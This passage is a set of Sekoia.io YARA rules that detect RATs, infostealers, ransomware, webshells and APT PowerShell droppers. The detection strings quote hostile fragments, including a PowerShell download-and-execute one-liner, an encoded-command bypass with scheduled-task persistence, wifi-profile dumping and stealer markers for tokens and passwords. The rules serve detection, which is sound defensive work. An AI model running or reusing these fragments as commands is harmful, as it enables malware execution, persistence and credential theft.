		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_dcrat_qwqdanchun.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e6f8664e57ecce3bd7b2af5c67d564d526b32d12218b772b0e9f53709044e14d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "DcRatByqwqdanchun" wide
		$str02 = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==" wide
		$str03 = "Po_ng" wide
		$str04 = "Pac_ket" wide
		$str05 = "Perfor_mance" wide
		$str06 = "Install_ed" wide
		$str07 = "get_IsConnected" ascii
		$str08 = "get_ActivatePo_ng" ascii
		$str09 = "isVM_by_wim_temper" ascii
		$str10 = "save_Plugin" wide
		$str11 = "timeout 3 > NUL" wide
		$str12 = "ProcessHacker.exe" wide
		$str13 = "Select * from Win32_CacheMemory" wide
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}

rule SEKOIA_Apt_Badmagic_Reco_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic Reco powershell script"
		author = "Sekoia.io"
		id = "7a1b2d31-03b7-4a43-8f4e-ed38ba8e118e"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_reco_pshscript.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "86369267545241f33c6fc7dab11eb06f71641d8e9cd0365ddcc676d4f4c9739b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$headers = @{};"
		$ = "==ARP Cache=="
		$ = "ipconfig.me"
		$ = "-ComputerName $env:computername;"
	condition:
		all of them and filesize < 1KB
}

rule SEKOIA_Apt_Konni_Dropper : FILE
{
	meta:
		description = "Detects Konni dropper used when distributed via malicious document"
		author = "Sekoia.io"
		id = "0783a55e-1d1e-40ca-a661-2c5dec6d78d6"
		date = "2023-11-27"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_konni_dropper.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6d1b1f5ccbdc20908891e5f40ceb85c251b1ca2a395fa4b106e63718c6393a22"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "UnzipAFile"
		$ = "check.bat"
		$ = "FOF_SILENT"
		$ = "fLieObj"
	condition:
		filesize < 1MB and 3 of them
}


rule SEKOIA_Apt_Uac0154_Powershell_Infection_Chain_2 : FILE
{
	meta:
		description = "UAC-0154 Infection chain"
		author = "Sekoia.io"
		id = "6fe37d52-9bd3-4aa8-83ba-15399bd1b66c"
		date = "2023-10-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_uac0154_powershell_infection_chain_2.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "029d88971030a377b3c93ba4c986668e53b01ee03ba94a0a4ceb54b20b72ff2d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "files.catbox.moe"
		$ = "$pse = $pse.Replace"
		$ = "start -WindowStyle Hidden -FilePath $p"
		$ = "-bxor $xorMask"
		$ = "SysctlHost"
	condition:
		4 of them and filesize < 100KB
}

rule SEKOIA_Loader_Win_Squirrelwaffle : FILE
{
	meta:
		description = "Detect the Squirrelwaffle DLL"
		author = "Sekoia.io"
		id = "bea3125e-6e84-435f-855b-fd3239a0deac"
		date = "2021-09-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_squirrelwaffle.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ab1a95f09564d0417d5c06c578d4dc8d790ec09bc67716d8c9e5207262a0594d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "AEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" ascii
		$s2 = "c:\\equal\\True\\bird_Select\\780\\true.pdb" ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Apt_Kimsuky_Powershell : FILE
{
	meta:
		description = "Powershell scripts used by Kimsuky. If size < 3KB ok. If between 3 and 15, a check is needed"
		author = "Sekoia.io"
		id = "b7f812e0-d08b-40fe-908a-dc5765d6bc66"
		date = "2024-09-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_powershell.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "6babb53d881448dc58dd7c32fcd4208a"
		hash = "29ec7a4495ea512d44d33c9847893200"
		hash = "fde68771cebd7ecd81721b0dff5b7869"
		hash = "0c3fd7f45688d5ddb9f0107877ce2fbd"
		hash = "1a1723be720c1d9cd57cf4a6a112df79"
		logic_hash = "7436d8cba8a8caaf95786c38c4ceee4426dc7e36ae3eeed5d3162310cd76091d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ".ToCharArray();[array]::Reverse(" ascii
		$ = ");$res = -join ($bytes -as [char[]]);Invoke-Expression $res;" ascii
	condition:
		all of them and filesize < 15KB
}

rule SEKOIA_Apt_Cloudatlas_Powershower_Variant : FILE
{
	meta:
		description = "Detects PowerShower"
		author = "Sekoia.io"
		id = "416d0cb0-bc59-47ae-8a98-d7b39f8108ab"
		date = "2023-12-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_cloudatlas_powershower_variant.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7bcfafd5a52d685fe33715c8c3725d95947c65863902fde05cf85685a6bfeab8"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "[System.Text.Encoding]::" ascii wide
		$s2 = "{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}" ascii wide
	condition:
		filesize < 10KB and all of them
}

rule SEKOIA_Infostealer_Win_Enigma_Stealer_Module : FILE
{
	meta:
		description = "Find stealer module of Enigma Stealer based on specific strings"
		author = "Sekoia.io"
		id = "664fe8de-b406-4d63-9a4b-1c350b444f02"
		date = "2023-01-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_enigma_stealer_module.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "4d2fb518c9e23c5c70e70095ba3b63580cafc4b03f7e6dce2931c54895f13b2c"
		logic_hash = "0a6615d65867a160e1c87fbcfe30090d44d7f5c25b3a904f8719be7b385b14bb"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$eni01 = "enigma.common" nocase ascii wide
		$eni02 = "--ENIGMA STEALER--" wide
		$str01 = "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')" wide
		$str02 = "/C chcp 65001 && netsh wlan show profile | findstr All" wide
		$str03 = "/C chcp 65001 && netsh wlan show networks mode=bssid" wide
		$str04 = "[Open google maps]" wide
		$str05 = "Stealerium.Target." ascii
		$str06 = "--- ClipperBCH ---" wide
		$str07 = "//setting[@name='Username']/value" wide
		$str08 = "Stealer >> Failed recursive remove directory with passwords" wide
		$str09 = "[a-zA-Z0-9]{24}\\.[a-zA-Z0-9]{6}\\.[a-zA-Z0-9_\\-]{27}|mfa\\.[a-zA-Z0-9_\\-]{84}" wide
		$str10 = "^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$" wide
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $eni* ) and 4 of ( $str* )
}


rule SEKOIA_Downloader_Mac_Rustbucket : FILE
{
	meta:
		description = "RustBucket fake PDF reader"
		author = "Sekoia.io"
		id = "5a003b68-ad9a-47f9-b157-dd898181dac2"
		date = "2023-04-24"
		modified = "2024-12-19"
		reference = "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/downloader_mac_rustbucket.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1b9e9a3f4fb4804eb94ab8d3573781d67f96d180b258cfc10be384eec44509ed"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "38106b043ede31a66596299f17254d3f23cbe1f983674bf9ead5006e0f0bf880"
		hash2 = "bea33fb3205319868784c028418411ee796d6ee3dfe9309f143e7e8106116a49"
		hash3 = "7981ebf35b5eff8be2f3849c8f3085b9cec10d9759ff4d3afd46990520de0407"
		hash4 = "e74e8cdf887ae2de25590c55cb52dad66f0135ad4a1df224155f772554ea970c"
	strings:
		$down_exec1 = "_down_update_run" nocase
		$down_exec2 = "downAndExec" nocase
		$encrypt1 = "_encrypt_pdf"
		$encrypt2 = "_encrypt_data"
		$error_msg1 = "_alertErr"
		$error_msg2 = "_show_error_msg"
		$view_pdf1 = "-[PEPWindow view_pdf:]"
		$view_pdf2 = "-[PEPWindow viewPDF:]"
		$macho_magic = {CF FA ED FE}
		$java_magic = {CA FE BA BE}
	condition:
		($macho_magic at 0 or $java_magic at 0 ) and 5 of them and filesize > 50KB
}

rule SEKOIA_Apt_Gamaredon_Htmlsmuggling_2024 : FILE
{
	meta:
		description = "Detects HTML Smuggling webpages of Gamaredon used in 2024"
		author = "Sekoia.io"
		id = "8fa1f80b-2261-4d63-92d8-7c360be73fe2"
		date = "2024-09-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_htmlsmuggling_2024.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "ab2807824e68d5efb4c896e1af82e693"
		hash = "926b7e65d0d61cd6ba9e085193ae8b1d"
		logic_hash = "9cd82f497fd7b82f02fec4ce1d131cd2685861c7c02aaae992e07a7d8bd30595"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "').innerHTML;window['" ascii fullword
		$ = "='at'+'ob';"
		$ = "]('*','');"
		$ = "display:none"
		$ = "0px;\" onerror=\""
		$ = "'ev'+'"
		$ = "<!DOCTYPE html PUBLIC"
	condition:
		5 of them and filesize < 1MB
}

rule SEKOIA_Apt_Kimsuky_Vbs_Powershell_Downloader : FILE
{
	meta:
		description = "Detects VBS/Powershell Downloader used by Kimsuky"
		author = "Sekoia.io"
		id = "4c9af11f-802b-4ffe-9783-90fc2ee53809"
		date = "2022-08-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_vbs_powershell_downloader.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "dc24ca206a3122b34be978287f907b12c809f76058fe9355bbd00b3159b0a4d4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "& WScript.ScriptFullName &" ascii fullword
		$ = "/c schtasks /create /sc minute /mo 5 /tn"
		$ = "pOwErsHeLl -ep bypass -encodedCommand"
	condition:
		filesize < 200KB and 2 of them
}


rule SEKOIA_Ransomware_Win_Avoslocker : FILE
{
	meta:
		description = "Detect AvosLocker ransomware (2021-07)"
		author = "Sekoia.io"
		id = "fc5c2483-48cb-4282-b6cb-ac728b948607"
		date = "2021-08-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_avoslocker.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d7f14f78ac569011ecf964109c72d75de4942361033a544350a2f73c7af64a0c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash6 = "f810deb1ba171cea5b595c6d3f816127fb182833f7a08a98de93226d4f6a336f"
		hash7 = "c0a42741eef72991d9d0ee8b6c0531fc19151457a8b59bdcf7b6373d1fe56e02"
		hash8 = "84d94c032543e8797a514323b0b8fd8bd69b4183f17351628b13d1464093af2d"
	strings:
		$s1 = "cryptopp850\\rijndael_simd.cpp" ascii
		$s2 = "cryptopp850\\sha_simd.cpp" ascii
		$s3 = "cryptopp850\\gf2n_simd.cpp" ascii
		$s4 = "cryptopp850\\sse_simd.cpp" ascii
	condition:
		all of them and uint16( 0 ) == 0x5A4D and filesize > 900KB and filesize < 950KB
}

rule SEKOIA_Tool_Win_Forkplayground : FILE
{
	meta:
		description = "Detect the ForkPlayground malware"
		author = "Sekoia.io"
		id = "ec9af403-7647-447d-af17-c6931363a166"
		date = "2023-02-28"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_win_forkplayground.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "23d93b7eef978f76c9aa6c0bc28a661d160b0a871fd320442b6c27bc92bc279e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Failed to open dump file %s with the last error %i."
		$ = "Successfully dumped process %i to %s"
		$ = "ForkPlayground"
		$ = "Second attempt at taking a snapshot of the target failed. It is likely that there is a difference in process privilege or the handle was stripped."
		$ = "Failed to take a snapshot of the target process. Attempting to escalate debug privilege..."
		$ = "Failed to escalate debug privileges, are you running ForkDump as Administrator"
	condition:
		uint16( 0 ) == 0x5A4D and 1 of them
}



rule SEKOIA_Hacktool_Win_Processhacker : FILE
{
	meta:
		description = "Detect ProcessHacker hacktool"
		author = "Sekoia.io"
		id = "1dffe8c9-2ab7-4265-965e-8673b80f17d5"
		date = "2022-09-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/hacktool_win_processhacker.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "cfcfaa7f3afc8b82ce0188d9ead63746a7effd40acb6ad504f8d70a45d8476d5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "Unable to uninstall KProcessHacker" wide
		$str1 = "Process Hacker's settings file is corrupt. Do you want to reset it?" wide
		$str2 = "Process Hacker uses the following components:" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}




rule SEKOIA_Guloader_Unpacker_Decoded : FILE
{
	meta:
		description = "GuLoader Unpacker b64 decoded"
		author = "Sekoia.io"
		id = "ca3f4fce-b3a1-4672-a2ca-29ea347eb23d"
		date = "2024-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/guloader_unpacker_decoded.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5de4a147b2dea8a144905b7f1786199bfeef3006ac58179409cfd3dcaa116725"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$jumps = {71 01 9b 71 01 9b}
		$s1 = "([String]$"
		$s2 = "For($"
		$s3 = ",[Parameter(Position = 1)] [Type] $"
	condition:
		filesize < 500KB and @jumps < 1000 and 2 of ( $s* )
}

rule SEKOIA_Apt_Kimsuky_Sharpext_Jsexfil_Strings : FILE
{
	meta:
		description = "Detects the exfiltration JS code of SharpExt"
		author = "Sekoia.io"
		id = "c9ebd123-6450-4424-93d1-60322bd97bf6"
		date = "2022-07-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_sharpext_jsexfil_strings.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "37ea72b369baaced89f30f655901cc4a9d6a70d00cfca3b92a1015aca64d4e2c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "var req_url" ascii fullword
		$ = "var newReqId" ascii fullword
		$ = "chrome.tabs.query" ascii fullword
		$ = "payload.message.flags = new Object();" ascii fullword
	condition:
		all of them and filesize < 50KB
}

rule SEKOIA_Implant_Lin_Geacon : FILE
{
	meta:
		description = "Finds Geacon samples based on specific strings"
		author = "Sekoia.io"
		id = "ad71522e-270b-47d0-9c01-081f05a2b72a"
		date = "2024-01-11"
		modified = "2024-12-19"
		reference = "https://www.sentinelone.com/blog/geacon-brings-cobalt-strike-capabilities-to-macos-threat-actors/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_lin_geacon.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c6fa5815bf618eb588d511f18231042944dee20c1b13096c44910d43ca552bfa"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$gea01 = "geacon/config.init" ascii
		$gea02 = "geacon_pro-master/config/config.go" ascii
		$gea03 = "geacon_plus-main/config/config.go" ascii
		$gea04 = "command type %d is not support by geacon now" ascii
		$gea05 = "main/sysinfo.GeaconID" ascii
		$str01 = "command.StealToken" ascii
		$str02 = "command.MakeToken" ascii
		$str03 = "command/misc.go" ascii
		$str04 = "config/c2profile.go" ascii
		$str05 = "crypt.AesCBCDecrypt" ascii
		$str06 = "packet.File_Browse" ascii
		$str07 = "packet.FirstBlood" ascii
		$str08 = "packet.ParseCommandShell" ascii
		$str09 = "packet.ParseCommandUpload" ascii
		$str10 = "packet.PushResult" ascii
		$str11 = "sysinfo.GetComputerName" ascii
		$str12 = "sysinfo.IsOSX64" ascii
		$str13 = "util..inittask" ascii
	condition:
		uint32( 0 ) == 0x464C457F and ( ( 1 of ( $gea* ) and 2 of ( $str* ) ) or 8 of ( $str* ) )
}



rule SEKOIA_Weevely_Webshell_Payload : FILE
{
	meta:
		description = "Detects weevely webshell"
		author = "Sekoia.io"
		id = "f2879c6e-3d1b-41be-8b1d-4f0503fd4b29"
		date = "2024-04-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/weevely_webshell_payload.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bb02ec519d77526cc81ebd7743336b333b9498f79079f7008970cf1bb51c4948"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "<?php include \""
		$s2 = ".basename(__FILE__).\""
		$s3 = ";__HALT_COMPILER(); ?>"
	condition:
		all of them and filesize < 1MB and @s1 == 0 and @s2 < @s3
}


rule SEKOIA_Apt_Apt41_Powershell_Exfiltration_Script : FILE
{
	meta:
		description = "Detects PowerShell exfiltration script"
		author = "Sekoia.io"
		id = "9a15f845-c0af-4f1c-a033-b4f40232dc0d"
		date = "2023-11-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt41_powershell_exfiltration_script.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "0ba4118855d6bd54cbb3a35e3b5fc36484eeb1e742ed3480e6c967b078ec4881"
		score = 75
		quality = 72
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$UPLOAD_PASSPORT" ascii wide nocase
		$ = "$fileName=$singleFile.Name" ascii wide nocase
		$ = "Upload-Passport" ascii wide nocase
		$ = "$singleFile in $files" ascii wide nocase
	condition:
		filesize < 10KB and all of them
}

rule SEKOIA_Apt_Ta410_Flowcloud_Rtti : FILE
{
	meta:
		description = "Detects FlowCloud via RTTI"
		author = "Sekoia.io"
		id = "c6a18c08-8b98-46d7-a6c3-dc171c7791ac"
		date = "2022-10-11"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_ta410_flowcloud_rtti.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "97f052c409c9b5de025d34180979cd4c322e67bab9f894d3b56c928340a6859b"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$RTTI_1 = ".?AVdllloader@@" ascii fullword
		$RTTI_2 = ".?AVel_cryptowrapper@@" ascii fullword
		$RTTI_3 = ".?AVAntiVirusCheck@@" ascii fullword
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 10MB and all of them
}

rule SEKOIA_Infostealer_Win_Whitesnake_Stealer_Feb23 : FILE
{
	meta:
		description = "Finds WhiteSnake samples (stealer module)"
		author = "Sekoia.io"
		id = "68ae7fbc-4486-4b60-af5e-f37ddc58f170"
		date = "2023-03-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_whitesnake_stealer_feb23.yar#L1-L31"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "90007c38c644b79b2a60d9a252bd95071c5be57c649d73b66a73a1158cddc2fb"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$fun01 = "Ibhiyptxjhiacrnxomvqjb" ascii
		$fun02 = "Irwcvmgzsduiiizaabbczm" ascii
		$whi = "WhiteSnake.Properties.Resources" ascii
		$str01 = "get_UtcNow" ascii
		$str02 = "get_IPAddress" ascii
		$str03 = "get_Ticks" ascii
		$str04 = "set_commands" ascii
		$str05 = "set_Information" ascii
		$str06 = "set_filedata" ascii
		$str07 = "get_Jpeg" ascii
		$str08 = "set_Culture" ascii
		$str09 = "MakeScreenshot" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( ( all of ( $fun* ) or $whi ) and 3 of ( $str* ) or 7 of ( $str* ) ) and filesize < 100KB
}





rule SEKOIA_Downloader_Win_Newsterminal : FILE
{
	meta:
		description = "Detect the PowerShell based downloader used by APT42 called NEWSTERMINAL"
		author = "Sekoia.io"
		id = "2f9aae45-e3bd-4d87-b336-5d141738952b"
		date = "2024-08-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/downloader_win_newsterminal.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "2b756515400d7e3b6e21ee3a83f313c8"
		logic_hash = "45c6c2b5b3723bf3ed46c82e6a254547d8c8b3446bb2fa4b4f0fc8441731ae7e"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Start-Process -FilePath $takeownCommand -ArgumentList $takeownArgs -Wait -NoNewWindow"
		$ = "function Download-And-Extract-Dll {"
		$ = {24 69 63 61 63 6C 73 41 72 67 73 20 3D 20 24 64 65 73 74 69 6E 61 74 69 6F 6E 46 69 6C 65 50 61 74 68 2C 20 22 2F 67 72 61 6E 74 22 2C 20 22 41 64 6D 69 6E 69 73 74 72 61 74 6F 72 73 3A 46 22 2C 20 22 2F 63 22 2C 20 22 2F 71 22}
		$ = "$publicip=(iwr http://127.0.0.1:4040/api/tunnels"
	condition:
		1 of them and filesize < 30KB
}

rule SEKOIA_Infostealer_Win_Stealc_Str_Oct24 : FILE
{
	meta:
		description = "Finds Stealc standalone samples (or dumps) based on the strings"
		author = "Sekoia.io"
		id = "7448fafe-206c-4f9c-b5a3-cbabec12a45b"
		date = "2024-10-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_stealc_str_oct24.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "4f7fece81c3fe1e56b57aed4030b48331b53443a200799046fe84c895b591a71"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "-nop -c \"iex(New-Object Net.WebClient).DownloadString(" ascii
		$str02 = "Azure\\.IdentityService" ascii
		$str03 = "steam_tokens.txt" ascii
		$str04 = "\"encrypted_key\":\"" ascii
		$str05 = "prefs.js" ascii
		$str06 = "browser: FileZilla" ascii
		$str07 = "profile: null" ascii
		$str08 = "url:" ascii
		$str09 = "login:" ascii
		$str10 = "password:" ascii
		$str11 = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" ascii
		$str12 = "ChromeFuckNewCookies" ascii
		$str13 = "/c timeout /t 10 & del /f /q \"" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 9 of them
}

rule SEKOIA_Infostealer_Win_Vidar_Str_Jul22 : FILE
{
	meta:
		description = "Detect the Vidar infostealer based on specific strings"
		author = "Sekoia.io"
		id = "1dc18694-aaac-41e6-979a-c06d5d62f5ea"
		date = "2022-07-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_vidar_str_jul22.yar#L1-L29"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "394d148155d46753df188a252678c5ce9d0aa321da8907e74b844d5aa8494a47"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		modification_date = "2022-08-23"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "vcruntime140.dll" ascii
		$str02 = "\\screenshot.jpg" ascii
		$str03 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor" ascii
		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" ascii
